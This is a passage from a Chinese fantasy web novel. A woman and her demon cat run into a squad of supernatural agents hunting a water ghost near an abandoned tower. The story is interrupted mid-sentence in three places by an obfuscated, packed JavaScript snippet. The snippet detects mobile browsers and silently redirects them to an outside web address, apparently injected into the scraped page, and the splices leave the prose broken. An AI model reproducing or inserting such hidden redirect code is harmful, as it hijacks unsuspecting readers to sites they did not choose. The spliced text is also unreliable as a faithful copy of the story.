翟闲忽然侧目,搓了搓指腹:“什么什么味道?你闻错了吧?” “不可能!”翟九在翟闲身边摇着尾巴转来转去,“我闻到了野男人的味道。” “什么野男人?” “就是野男人的味道。”猫仰着头挺着毛茸茸的胸膛,眼睛里写满了果真如此的眼神。 “你怎么能这样子?你不是养了我吗?为什么你的房间里会有其他妖的味道?为什么你手腕上会有野男人的红线……”翟九还没说完就看见翟闲盯着他的眼神十分火热。 “翟猫猫,你这样真的很像一只香喷喷的大鸡腿子。” 翟九正翘着一条腿舔毛,虽然也没搞清楚为什么要用“香喷喷的大鸡腿子”这样的比喻,但是看她这幅不值钱的样子,应该是在夸他。 他正得意着,丝毫没有注意到翟闲的手正在向一个他这辈子都不能想象的位置摸过去。 “翟猫猫,你的小铃铛软软的欸。”翟闲摸完捏完,还屈着手指在他的小铃铛上弹了一下。 这一切发生得太快,等到翟九反应过来翟闲干了什么的时候,一切都已经迟了。 时间好像静止,耳边炸响一道惊雷,一瞬间他感觉全身的血液都逆流上了头顶,发出一阵尖锐的嚎叫之后,猫浑身的毛都炸了起来,飞机耳,两眼一闭亮着爪子就往翟闲扑过去,是十二万分的羞愤。 眼看着翟玖扑得太猛要从床上掉下去,翟闲伸手过去接住他他,胳膊却不慎被他抓伤。 鲜血的气味在空气中逸散开来,翟九睁开了眼睛,一蓝一白、琉璃一样的,漂亮、通透的眼睛有些错愕地看着翟闲,目光坐在她手臂上的伤口上时,眼神愤怒并且饥饿地舔了舔嘴唇。 又气又馋的完蛋猫。 “不就是……又不是要吃了你,说了会负责的。”翟闲无奈,将还在往下滴着鲜血的手臂往翟九的方向送了送。 “你还说!?!?” 猫炸毛炸成了一朵蓬松无比的大蒲公英并且馋了吧唧地在翟闲的伤口上舔了口大的。 “我可告诉你,我可不是什么随随便便的猫……你要负责的知不知道……”翟九有些粗糙的带着倒刺的舌尖在皮肉上吭哧吭哧舔舐,尖牙上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灵府由心相而化,因人而异,各不相同。雾气在翟闲眼前氤氲,她拨开和月光一样轻薄等到纱帘,卷起琤然有碎玉之声的珠幕,方寸之间有一小片生机盎然的花田,花田中有一条小径,向最湿润的地方去。 翟九的灵府里,没有天谴的迹象。翟闲耸了耸肩,只当是自己想多了。 本想着简略看完一番就抽身离奇,毕竟翟闲实在没有窥探别人灵府的喜好,但是就在她正准备要走的时候,忽而感觉了一阵湿润的香风。 重重叠叠帷幕,深深浅浅来路,曲折宛转,山重水复,终于,翟闲在地势渐低的地方参见一口温热的泉眼。 温热的水流自山的罅隙中冲击而下,兰草香木夹生其中,温泉的石沿上趴着一个赤|裸的男人,一头和翟玖如出一辙的雪发垂在肩上,遮住肉|体半露不露,下|半|身泡在水中,在一片雾气中看不真切,闭目凝眉,像是在睡梦之中。 翟闲驻足。 平地起风,雾气散去,卷来洁白的冰花,他的灵府里下雪了。男人的面庞逐渐暴露在翟闲的视线之中,她的瞳孔猛然一缩。 翟闲在花海中盘膝打坐,观翟九的心相,观她自己的心相。 8. 来捉鬼了 翟九醒的时候发现自己在车上,汽油和皮革的味道有些难闻,他被翟闲抱在怀里,窝在后座打盹儿。 “这是去干什么?”脑子里忽然多出一道声音,翟闲以为是翟玖醒了,一低头才发现是翟九醒了,在她脑子里喵喵咪咪道。 他的妖力恢复了一点,最简单的传音之类勉强可以做到。 “带去给你卖了。”翟闲的手挠了挠他的下巴,把他捞了起来亲了亲。 亲了亲额头,犹觉不足,又轻轻吻了吻他的面颊。 “干嘛亲我?” “你好亲啊,香香的。” 猫觉得有点不好意思,转了过去用屁股对着她,片刻之后又转了回来—— 都送到嘴边了,翟九在她的指节上轻轻咬了咬,玩也似的轻轻舔舐。不得不说翟闲的血对于他来说实在是太补了,昨天晚上那一顿下来,他到现在都感觉没有完全消化。也是奇怪了,她看着个病秧子的样子,怎么就这么补呢? 翟闲被帽檐遮住的眼睛不动声色地睁开,回想起这几天翟九时不时咬她一口的行为,他眼睛里呼之欲出的食欲,眸中神色一暗。 翟九在她怀里换了个舒服的姿势和她一起睡,迷迷糊糊间,能感觉到路况不大好,常有颠簸,摇摇晃晃了好几个钟头,翟闲连着行李箱和猫在一家民宿前下车。 翟猫猫蹦到翟闲的肩头往远处看——呵,好荒芜原始的地方,夜色降临,稀稀拉拉的原野上只有几家灯火,极目远眺,可以看见不远处有起伏的山峦,一座几层高的小塔孤零零地立在一个小山坡上,明明是早春时节,却莫名让人感到一阵寂寥荒芜。 “这是什么地方?”翟九的尾巴尖轻轻拍打着翟闲的脸庞,痒痒的,鼻息间一股子小猫味道。 “景区。” “这是景区?” “景区旁边的旁边还没开发的荒山。” “来这鬼地方干什么?” “玩啊。” “玩?” 这荒山野岭的有什么好玩的,有景区不去来着没人的地方,翟猫猫腹诽。 “喜欢吃鱼吗?”翟闲问将渔具包扛在了肩膀上,伸手挠了挠猫的小裤|裆,然后被猫爪子拍开。 “什么?” “明天带你钓鱼去。” * “我靠我靠我靠!双姐,我们车好像抛锚了!” 令狐双是被苏况的声音吵醒的,她揉了揉眼睛,两眼一睁看外面天色,还是一片黑漆漆的,再定睛一看周围,还是在一片野地里。 他这一嗓子喊,后座两个人也缓缓睁开了眼睛,祝好睡得迷迷糊糊,坐在她旁边的邬稞没什么太大的反应,眼神有些机质,冷冷扫过前面大呼小叫的苏况。 这一段负责开车的是苏况,前面有个上坡,他一脚油门发现加不上去,加不上去就算了,车速还越来越慢,坡都没上去车就彻底趴窝了,得,这前不着村后不着店的,别太完蛋。 令狐双想翻白眼,上挑的红色眼线像是要飞起来了般。拿出手机想打紧急试着打个紧急救援电话什么的,然后就发现——这鬼地方没信号。 “双、双姐……”背后传来一阵有点阴恻恻的身影,给令狐双吓一大跳,以为是邬稞在说话,扭头一看居然是祝好这完蛋孩子。 “什么了?” “外……外面是坟吗……”她的手往前指过去,车灯照过的地方隐隐可以看见地里有好几个微微隆起的土包,似乎还有碑,仔细一看底下埋的可能还真是不知道谁家的先人。 “对啊,没事,野坟而已……”令狐双耸了耸肩,还在试图联系总部那边,半天才发现祝好的脸色有点不对。这孩子的脸色瓦白一片,嘴唇的颜色和死了三天一样,,令狐双和坐在后座的邬稞对视一眼,睁大了眼睛有些惊讶地问:“你不会怕鬼吧?” 祝好紧紧抱着自己的嫩黄色小学生双肩包挤出了一个比哭还难看的笑,连包上的卡通小黄鸭也笑得很命苦的样子,她牙关都在颤抖: “还、还好,一……一点点……” 这看上去可不像是一点点的样子,邬稞没有说话,抿着唇不动声色坐得离她远了一点。 令狐双神色有些古怪,事到如今她终于想起来,祝好入职这几天她都在出差,那几天就让她整理资料,也没空带她,员工培训也没培训,就这么直接让她出了外勤。 问题不大问题不大,实践方能出真知嘛。令狐双安慰着自己所剩无几的良知,只当自己不记得她姐姐嘱咐过说什么“循序渐进”“她妹妹胆子不大”云云。 “你姐祝瑞……她没告诉过你我们这儿是干什么的吗?”令狐双问。 “她说……就是……普通单位啊……” 邬稞耳朵里清楚传来祝好牙关碰撞的声音,清晰到吓人,她不动神色又往角落里缩了缩。 “双姐!联系上人了吗???”苏况下了车,把车引擎盖掀开了,捣鼓了一阵,喊道。 “没呢,什么破手机,一点信号都没有。你还会修车?” “不会啊。”苏况憨笑。 “那你瞎捣鼓?” “我看他们不都是这么捣鼓的吗。” 这荒山野岭的,也联系不上人,什么大晚上的怎么搞。正当令狐双想以头抢地的时候,角落里又传来一阵带着哭腔,颤得不像样子的声音:“我……我会一点……” 一看,居然是祝好。 说出这句话好似下定了她很大的决心,令狐双就差没看见她将“英勇就义”四个大字刻在脸上。 祝好什么都会一点,但是什么都不大精通,但这会的一点也足够用了。 令狐双看着祝好紧紧挽着她胳膊的左臂,有点想笑。她左手上好像攥着怎么东西,好像是她之前说过朋友送的护身符。左拳配合着颤抖得不想样子的右手掀开车盖子翻翻捡捡检查,速度不快,但显然是尽力了。 除了邬稞在车上没有下来,令狐双和苏况一左一右和两个护法一样守在祝好身边,就是这样她的腿还是抖得和筛糠一样,时不时回头望一眼。 一阵妖风吹过,她的鸡皮疙瘩瞬间从尾椎骨窜上了颈椎骨,发出尖锐爆鸣声,也不管怵不怵领导了,“嗖”一下往令狐双怀里一窜,看得苏况目瞪口呆。 “没事了,没事了,就是一阵风。”令狐双拍着她的背有些哭笑不得,从包里抽出纸巾,把祝好眼泪鼻涕糊得和小花猫一样的脸擦干净,等到她情绪平复下来继续修车。 “好……好了……” 祝好用手背揩了一下眼眶外面的泪水,抽抽搭搭道,等苏况点着火确认车能开动之后,就和受了惊的兔子一样红着眼睛往车上一窜。 自从知道这条路上有不少的野坟之后,她眼睛就没敢再睁开过,闭得死死的,一个劲往边山的邬稞旁边蹭,后者叹了口气没有办法,动作有些僵硬地拍了拍她的背。 接触到邬稞冰冷的体温,祝好打了个寒颤,不知道是不是错觉,在感觉到祝好冷之后,邬稞身上的体温好像高了些。 等到她没那么抖了,邬稞想着把她推开,却发现祝好就这么睡着了,纤长的睫毛上海挂着一点泪珠,脸上还有没擦干净的机油。她又叹了一口气,不动声色藏起已经近乎透明的右手,就这么由着她睡到了天明。 * 一连三四天,这一组四个人都在野地里头转悠,祝好也终于是知道了这次外勤的主要任务是什么——这事还怪令狐双,她忙糊涂了,忘了提前和祝好说。 看祝好这丫头吓成那个样子,令狐双为了弥补一下自己所剩无几的良知,特地挑的大中午十二点阳气最重的时候说的。 然后她就看见,祝好刚送到嘴边的鸡腿又掉到了碗里。 “捉……捉水鬼?”祝好笑得比哭得还难看,“是我想的那个水鬼吗?” “是你想的那个水鬼。”令狐双点了点头。 “这是积案,我们接到消息说这边有一片水域有水鬼作祟,害了不少人。这一片原先都是耕地,后来就是因为隔三差五出事,人都搬走了。这边多湿地,旁边再远一点就是巫山景区,会有钓友过来钓鱼,野钓,夜钓,任务不难,但是风险还是有的,所以务必要斩草除根,否则后患无穷。” 祝好咽了口口水,深吸了一口气,颤抖着手夹起掉在碗里的鸡腿,颤抖着牙关点了点头。 似乎也是在令狐双说完这些话之后,她后知后觉发现她这几个同事还有领导有些不对劲。 令狐双的背后总是由什么深红色的影子在晃来晃去,像是犬科或是猫科动物的尾巴,祝好有一回甚至不小心碰到了,毛茸茸暖洋洋的。 邬稞坐在后座从来不下车,黑衣黑裙,裙摆很长,能将脚面整个都遮住,即使是走路,两条胳膊也从来不摆动,像是在飘忽似的。 苏况就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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类似的事情还有很多,祝好也渐渐明白那些黑雾啊、哭声啊意味着什么。她也想过想用她的能力做些什么,然而遗憾的是除了把自己搞得遍体鳞伤之外什么也做不到。 真的是很让人痛苦的能力,不管是能看见那些吓人的鬼魂还是那些奇怪的因果。因而祝好并不是很喜欢与人交往。她生命中为数不多的交往得比较近的人,除了和她相依为命长大的姐姐之外,似乎就只剩下一个翟闲了。 在看见翟闲的第一眼,她几乎不敢相信自己的眼睛——世界上真的会有这样的人吗? 不说干不干净,她周身什么都没有,就是一片空白。空白代表着未知和危险,但是祝好就是觉得她很亲和。 而六十八组——她们组这几个人,看着都是干干净净没有业障缠身的人。 一想到这里,就是去捉水鬼,祝好都多了几分干劲,又是跟着几个人一路奔波,这几天跑了不少地方,但是只在几个水沟子里,发现来了几只被溺死的小猫猫鬼头和小狗狗鬼头,祝好也渐渐从一开始的吓得腿肚子都打颤都之后也能壮着胆子,在令狐双的鼓励下去摸摸猫猫鬼和狗狗鬼的脑壳了。 “它们也会去再去投胎吗?” 祝好这些天接触业务也陆陆续续学了点,对异管局的认知暂时停留在揽和尚道士的活上。 “理论上会,但是这些生灵太小了,有些尚未开智就被遗弃或者是死于意外,这又是在这荒郊野外,他们很难找到通往幽冥的路。”令狐双道。 “那他们会什么样。” “会一点点虚弱,直到消散。”说话的邬稞,她面无表情地站在令狐双身侧,顺着她的眼神望过去,可以看见不远处的山丘上有一座黑黢黢的古塔,“如果没有人送他们去往生,它们连轮回的机会都没有。” 祝好张了张嘴,没有再说什么,只是情绪明显很低落。 罗盘已经装死好几天了,直到这天色渐暗,邬稞在地图上找到了一家的民宿,提议修整一番,众人并无异议。 就在一行人停好车注备去办理入住的时候,祝好忽然看见一道白影从门口窜了过去,好像是一只白猫。不知道怎么的祝好就想到了家里的翟闲和翟九,也不知道他们俩有没有好好吃饭。 这些天确实疲惫,以至于所有人都没有发现,装死了好几天的指南针忽然转动了一整圈,指针又停在了原来的位置。 9. 偶遇她了 今天是翟闲空军的第不知道多少天,翟九趴在他的膝盖上有气无力百无聊赖:“这池塘里真的有鱼吗?” “有水的地方就有鱼。”翟闲将遮阳帽扣在脸上,靠在椅子上闭目养神。 她有点困,手在翟猫猫的背上顺着毛有一下没一下地撸,从猫脑壳开始一直撸到尾巴尖尖结束,猫猫喉咙里发出低低的和摩托车一样的呼噜声。 说来也奇怪,在养了翟猫猫之后,翟闲的睡眠质量是直线上升,就连往日里一闭上眼睛就陷入梦魇的症状也再也没有出现过。 一开始翟闲以为是翟九咬她时,尖牙里的毒给她毒厥了过去,可是哪怕翟九没有咬她,只要贴在她身边,软软热热,毛茸茸的身体被她抱在怀里,她就有要睡眠的欲望。 翟闲悟了,猫猫的本质就是一大颗毛茸茸的安眠药。 “有鱼那你倒是钓一条给我看看啊。” 翟闲扶额,空军么,人之常情。 翟九翻了个白眼,抖了抖被翟闲掸在他身上的草屑,“你这几天钓上来了三只螃蟹,六只王八,虾若干,勾住了路过的野鸭子四只,以及十七只鞋子,三件衣服,两个钱包一串钥匙,一部手机,还有易拉罐、矿泉水瓶若干。” “还有一次把鱼钩勾在了我的屁股毛上,一次勾在了我的尾巴毛上。”猫猫抗议。 翟闲笑了笑,手上的动作往猫的腹部转移,把猫翻了过来揉他的肚子,目光落在后腿根的那撮血红色的毛发上面,伸出两指搓了搓。 “鱼呢?我请问呢,鱼呢?” 翟闲慢悠悠把遮阳帽抬起来一点,悠悠问:“要是我真钓上来了鱼,你吃不吃?” “你要是真能钓上来我就吃。” “嗤——”翟闲笑。浮标上下窜动了一下,她信手收线,杆子提起来一看,是一只脏兮兮、黑乎乎的绣花鞋,看样子有些年数了,似乎和先前钓上来的十七只中的一只是一对啊。 “这片水域养出来的鱼,你吃得下去吗?” * 民宿里就剩下三间房了,祝好长舒了一口气——这太好了。 令狐双一间,苏况一间,邬稞和她一间,她眼神有些雀跃,可以不用在这荒郊野外一个人待着了。 这是在山里,周遭又有孤坟,祝好身上虽然已经有了翟闲给的护身符,但是这也改变不了她是个窝囊小女孩的事实,眼下可以挨着个熟悉点的人一起,这再好不过了。 至于为什么不和令狐双挤一挤——应该没有哪一个窝囊小女孩想要和领导睡在一间房里。 要是让好在领导和鬼里面选出来那一个跟可怕…… 毋庸置疑,那当然是选……领导。 毕竟人要是挂了总会变成鬼的,但是只要还活着,就一定能看见领导。 原先祝好只是庆幸有个认识的人在身边,不至于这么害怕,然而真只剩下她和邬稞两个在一间屋子里,一股子后知后觉的尴尬就从脚底板冒上天灵盖,脚趾在一次性拖鞋里恨不得把地板挠出个洞来。 她一时起来的庆幸渐渐消解下来,后知后觉反上来一阵懊恼,或许邬稞其实是不愿意和她一间房呢?她这么想着,感觉脸上有些发烫,尴尬之余还有一些窘迫。 邬稞洗完澡出来就看见她这一副局促的样子,打开窗子透气,从这个角度真好可以看见远处的一口池塘,再往远一点看,就是山丘和那坐古塔:“你睡床,我睡沙发。” “不不不,我可以打地铺的,你睡床,你睡床。”祝好噌地从沙发上站了起来,一时受宠若惊,连声拒绝。 民宿只剩下大床房了,这床睡两个人倒是绰绰有余,但是邬稞觉得自己还是不要和她睡在一起为好,看她像只鹌鹑似的怂瘪瘪的样子,揉了揉眉心。 “不睡就扔你出去。”她在沙发上坐下,从祝好的角度,正好看不到一阵风催过来时,裙摆下空荡荡的一片。 邬稞不会真的扔自己出去的,看她这样子也不像是嫌弃,祝好心里提着的那口气起放了下来。 但是祝好这个人,一尴尬就想着把自己缩起来,于是靠着床边将自己死死裹在了被子里缩成一团,所在大床的一个很小很小的角角儿上,连条透气的缝缝儿都没有留下。 她只占据了床很小的一部分,就这么闷着,最后也不知道是真的困还是缺氧,祝好迷迷糊糊睡了过去,谁过去之前感觉好像有个什么人给她掖了掖被子。 再怎么这也是在外面,祝好睡不深,后半夜的时候,隐隐约约听到了开门的声音,好像是有人出去了,她将被子悄悄掀开一条缝,打开手电照着看,屋内根本不见邬稞的身影,一看手机屏幕,时间显示晚上十一点半。 “或许只是起夜呢?”祝好眼前有点发虚,把被子裹得更紧了,那张护身符也从手机壳背面取出来攥在了手心,但是还是忍不住地浑身发抖。 黑夜中只有手机屏幕发出微弱的光亮,周遭只有祝好渐渐急促起来的呼吸声,以及…… 以及拍窗的声音,拍窗的声音里似乎还有些桀桀的怪笑。 那些东西又找来了。 不是有护身符吗,为什么那些阴魂不散的东西又找来了?祝好的身体抖得可怕,她紧紧把眼睛闭起来,然而却还是无济于事。 她这一双眼可以看见生和死之间的事物,沟通阴阳,但是她偏偏又体弱,命格怪癖,这样的体质落在那些邪祟之物眼中,最是滋补,最是裨益于修行。 这些年不知道有多少鬼、怪、祟想要吃了她,炼化她,它们不断让她害怕、惊惧,只要她失了心防,那么那些邪祟就会趁虚而入侵占她的身体,啃食她的魂灵。 不知道是不是祝好真如多年前一个道士说,有什么“大气运”,她每一次都能在临近崩溃的边缘找回神志,硬是靠着东拼西凑学的那么点所谓玄门技法和阴阳眼的便宜,东躲西藏磕磕碰碰活到现在。 眼看从她本身找不到突破,那些东西就盯上了她身边的人。简而言之就是所有接近祝好的人都会倒霉,倒小霉譬如周一检查的时候红领巾不翼而飞,倒大霉譬如平底摔、食物中毒、疾病、车祸。 这也会是为什么这么多年,祝好脸朋友都不敢交一个。脸上传来一阵湿热,祝好慌忙抹感觉脸上的泪痕,要是这样,那、那邬稞现在岂不是又危险? 祝好抖着手掀开了被子,连衣服都没披一件,一手攥着翟闲给她的护身符,一手抄着令狐双给她削的桃木剑冲出了房门外。 以至于在后院准备走的令狐双听到动静回头一看,就看见她赤着脚追上来,红着眼睛哭的上气不接下气,手里还紧紧握着剑。 * 守着祝好睡沉了邬稞才出来的,不放心她一个人在房里,还在门上和窗上都拍了符,令狐双在房间里等她,两人有一搭没一搭聊着。 “她跟我一起不就行了。” “我感觉和怕鬼相比,她更怕领导。”邬稞耸肩。 “也是,别到时候她一晚上连眼睛都不敢闭上,休息得还没之前好。”令狐双失笑。 “叫我来做什么?” “局里刚刚发过来的消息,这次任务危险系数预测从丁字上改为乙字中了,要我们速战速决,早点回去。” 这次任务的评级直接从丁字蹦到了乙字,连跳三个评级,不可不谓不严重。 邬稞一顿,对上令狐双的目光,“嗯”了一声。 “有说来后援吗?”邬稞问。 “没有,应该就我们几个人。” 邬稞皱了皱眉:“我们,六十八组,任务,乙字上中。不对吧?” 令狐双耸了耸肩:“问题不大,乙字的任务还是能解决的,对吧?对了,这次小心一点,离这么近,要是把你的事情牵扯进来就麻烦了。” “这个放心,我都安排好了。”邬稞道。 “那就好。早知道是乙等,这次不该带那小丫头过来的,她要是出什么事,她姐能把我毛削秃了织围脖,她那边都安置好了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765993|174593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今晚就出发,啊,发了坐标过来了,定位显示离这不远,尽快解决,天亮之前回来,啧……苏况怎么还没到……” 说罢外面就穿来一阵敲门,是苏况的声音,见他也准备好了,几人便往外走,刚到楼下,就听见身后传来一阵乱七八糟的脚步,回头一看,竟然是祝好。 看见邬稞从令狐双的身后走出来,她方松了一口气,登时瘫软在了地上,心有余悸地大口喘气。 眼看着这孩子来都来了,令狐双揉了揉额角,便干脆带着她一起,栓裤腰带上也放心一点。邬稞将她打横抱回去穿了鞋子换了衣服,简短和她说了发生了些什么,叮嘱她待会儿一定要跟在自己身边。 “我给你们添麻烦了吗?”祝好有些不安。 “并没有。”邬稞斜了她一眼,定位显示能量波动最大的地方就是在这附近,腿过去得要一刻钟左右,只是她看着向前的方向,神色渐渐凝重起来,直到跟着探测信号到达目的地,邬稞的脸色已经完全阴沉了下来。 顺着定位方向走,有一条小径,听民宿的老板说,那里之前是一个大湖,但是早些年干了,前些年荒了,去的人不多。 祝好和苏况两个脑袋凑在一起研究一会儿往左拐一会儿向右拐的指南针,令狐双刚准备过去看一眼,就见邬稞一个人立在野地里,有些机质的目光盯着看着远处。 那处土包旁边,朝着池塘的地方摆着几个还没腐烂的果子,像是贡果,旁边有些散落的黄纸,还有几根斜歪的香,看样子是烧给先人的。 这里应该是个野坟。 再往远一点望过去,是一座在低矮的山上的塔。 “这就是那座弃婴塔?” “嗯。” “戾气怨气倒是没有想象中重。” “周边有隐匿阴气的阵法,外界很难感知到。怎么是这里……”她神色有些凝重,“当年的事情我都处理干净了。” “我知道了,但时候看情况随机应变吧。”令狐双顺着她的方向看了一眼,拍了拍她的肩膀。 邬稞只是点了点头,面上的神色有点冷,路过那堆贡果的时候,不知道是有意还是还是无意,一个石块滚落到了那堆贡果上,那堆果子骨碌碌滚散到了一边去。 “这边这边……” 苏况拿着罗盘走在前面,祝好死死抱着桃木剑跟在他后面,令狐双和邬稞一左一右把她夹在中间,往罗盘指示的地方找。 和手开插在口袋里、松弛感拉满、像是大爷遛弯一样的的令狐双相比,祝好也算是草木皆兵了。 左三圈,右三圈,再左三圈,右三圈……然后这罗盘就和死了一样,不动了。 他大爷的,这罗盘行不行啊,就在苏况要骂出口的时候,忽然脚下一空,得亏是令狐双揪他后衣领及时,否则这人就要原地消失了—— 前面是一片杂生的旺盛的芦苇丛,仔细看半晌才能发现在一片浅滩之后,是一片挺广阔的水域,祝好忽然发现,这里距离白天的时候看见的那座孤塔很近。 而那座塔,不知道怎么的,祝好看见它的时候,总有一种很哀伤的感觉。 就在几人沿着池塘边缘检查时,苏况忽然顿住脚步,众人噤声往前看过去,只见前方树影下有隐隐的光亮。 不会是鬼火吧?!?! 祝好登时吓出一身冷汗,令狐双轻轻拨开一点前方的遮挡,只看到一个斯文出尘的背影。 鱼桶钓竿,钓椅抄网,看上去是来野钓的钓鱼佬,祝好将眼睛睁开一条缝看了一眼,松开一口气。但是或许是野营灯的光线太过苍白,这个背影怎么看怎么不对劲,怎么看都显得诡异。 罗盘这会儿没有动,前面这个应该是人不是鬼。令狐双刚想上前去提醒这人离开,就见背对着他们的人忽然扭头看向这边,一张有些惨白的女人的脸暴露在四人的视线里。 她刚想感叹一下这人当真是敏锐,就听见祝好不可置信的声音: “闲姐?!?!” 10. 第十章 碰上鬼潮 “你怎么在这儿?”祝好的背一下子就挺直了,牙关也不打颤了,腿也不抖了,一下子就和嘴了一口十全大补丹一样。 闻言,令狐双皱了皱眉。作为妖的天性告诉她,眼前这个女人有些诡异,就在祝好要冲上去的时候,令狐双眼疾手快地把她拉了回来,护到了身后。 她脸上的神情很是警戒,翟闲饶有趣味地盯着这千奇百怪、乱七八糟的四人看了一阵,忽然笑了起来:“祝好?真是好巧,你怎么在这?” 她站起来,抖了抖身上的草屑,一道白影从她膝头跳下来,定睛一看,是一只极其漂亮的异瞳白猫。 “你把猫猫也带过来了?”祝好眼前一亮,伸手想起抱翟九,却被翟九躲开。那猫摇着蓬松的尾巴骄矜地蹦了过来,检阅也似地绕着严阵以待的四个绕了一圈,就又蹦到了翟闲的怀里。 翟九传音喵喵咪咪了一阵,道:【我就说我看见她了吧,你还不信。】 “你不是说在出差吗?……这是你的同事吗?幸会,我是翟闲。” 看其余三人的眼中仍是十分警惕,翟闲走了过去,友好地笑了笑,伸出了一只手。 野营灯的灯光惨白,打在那只手上没有一点血色,淡紫色的血管很明显,手腕上一道绕成好几圈的红色手绳,那红色……有点奇怪,乍一看绕在手上和要流淌下来的血液一样。 一双手同她的手握住,这温度凉的吓人,并不是组长令狐双,是邬稞。 “幸会,邬稞。”她的声线冷淡,然而翟闲没有在意,简单寒暄过几句之后,便说道她不过是想找了个池塘野钓,这里人少,就选在了这里。 这里何止是人少啊,这里荒得只剩下鬼了。 “你们是……异常事件管理局的?”翟闲大量了几人一番,首先发问。 “你知道异管局?”苏况十分惊讶。 她笑了笑,只道:“听别人说起过。” “翟女士你好,异常事件管理局第六十八组令狐双,幸会。这是我的证件。”令狐双同样打量着她,冲其他两人使了个眼色,上前一步道,“我们正在执行公务,还请您配合。” “叫我翟闲就好,一定尽力配合,您请说。” 她的态度十分诚恳,要是仔细看还能看着一点玩味的笑意。 一个阴阳眼,一只红狐妖,一只溺死鬼,一个活死人,这个组合还挺有意思的。 异管局那群人果然闻着味道就来了,不过这几个人除开祝好一个新兵蛋子,综合实力组别评级应该能排到前十吧?再不济也有前二十,怎么到排到第六十八组去了?外勤总共就多少个组。 难道是翟闲这么多年没回去看过,评级的标准变成谁更厉害谁组号更大了?翟闲揉了揉怀里的翟九的脑袋,目光在四人脸上逡巡。 【什么是异管局?】猫窝在翟闲怀里问。 【嗯……】翟闲想了想,【你是什么时候的妖,怎么会连异管局是什么地方都不知道呢?】 【我从记事起就在山里,有没出来过。】 【这么宅?】 翟九哼哼唧唧没有回答她的话。 【异管局么,管你们这些小妖的地方,妖物在人界安居,得在那里打个报告,同样,也可以向那里寻求庇护。你要是早在哪里登记一下,也不会被当成野猫抓起来了。】翟闲和他解释了一番。 【那还算个好地方……】猫嘟嘟囔囔。 “这一片水库已经被我们划分的高风险区域,短时间内不适合野钓夜钓。”令狐双的语气公事公办。 “是吗?”翟闲看上去有些惊讶,“我已经在这钓了好几天了,没发生什么事情啊。” “你都在这呆了好几天了?”苏况看上去很惊讶,“钓到鱼了吗?” 翟闲:…… 翟闲假笑,哪壶不开提哪壶。 “应该会钓到的。”翟闲笑得勉强,试图往旁边挪一两步,挡住她钓上来的那堆破烂。邬稞鬼使神差得往她身后看了一眼,目光扫过那一堆脏污的破烂,最终目光久久落在那一双被摆在一起、依稀能看出是红色的一双绣花鞋上。 她的额角一跳,掩饰下眼底的惊讶,然而哪怕是极力克制,小腿上传来的潮湿的钝痛也还是让她一哆嗦,记忆如同倒倒豆子一般在她心里落了满地,她有点站不稳来了。 “你住哪里?” “那边的民宿啊。”她伸手指了指,这里离得和那间民宿不远,站着这里看能看见民宿门口的路灯亮,“好不容易出来一趟,肯定要做好准备嘛。” 她笑着,解释滴水不漏,祝好信了,眼神幽怨:“你出来玩这么都不和我说一声。” “临时起意的,再说了你这不是忙吗?我本来就是想找个冷僻点的地方放松放松,谁知道你这出差的地方还挺……冷僻的。”翟闲的目光落在苏况手上的罗盘,后者不知道怎么的,对上她的眼神有些不自然,将罗盘往身后收了收。 “你们不是要忙吗?那我就……先收拾东西回避了?现在回去不知道能不能赶上老板的宵夜。”翟闲说罢便要去收拾钓竿。 “等等。”令狐双道,她环视一圈,没有看到什么交通工具,想着她应该是走过来的。 “天已经黑了,你一个人走夜路也不安全,正好我们也要不了多长时间,等会忙完了我们和翟女士一起回去。” 翟闲挑眉,没有多问,只说让他们忙,她去收拾收拾东西。她东西零散,祝好跟在她屁股后面帮她收拾,和她有一搭没一搭聊着。 “新工作还习惯吗?” “挺好的啊,我们这边伙食真挺好的。” “同事都什么样?好相处吗?” 这个问题之前在聊天的时候翟闲已经问过了。 “挺好相处的啊。” “我给你带护身符还好用吗?” “那当然好用的。” “那你可保存好了,纸质的容易破,你放哪了?” 祝好听她这样说,有些骄傲地把手机从手机壳里头抠了出来,一张薄薄的纸片被塞在夹缝之中,上面有些褶皱,但是保存玩好。翟闲两只手指将这护身符捻起来看了看,又放了回去,只让她保护妥当。 这黑灯瞎火的,祝好根本没注意到翟闲往她的“护身符”上蹭了几根纯白的猫毛。 “你那个叫邬稞的同事……”翟闲抱着猫看祝好收钓竿。 “闲姐,她只是性子比较冷,她人很好的。”祝好立即道。 “好好好,我知道。”翟闲有点无奈,又像是在憋笑,“我就是问问,她……是不是平常不怎么和你接触啊?” * 见翟闲和祝好在搭话,令狐双看了一眼刚刚和她握手的邬稞,低声问:“发现什么了问题吗?” 后者有些迟疑道:“没发现什么问题,应该就是个普通钓鱼佬。” 说来也奇怪,忽然之间,刚才还和嗝了屁一样半死不活的罗盘这会子转得和打了鸡血一样,也不管什么东南西北上下左右了,指哪里是哪里,就连寻常不响动的能量检查仪器也滴滴滴叫个不停。 这种情况只有两种情况,要么是这罗盘和仪器坏了,要么是,这里前后左右东西南北上下里外六路八方—— 全都有鬼。 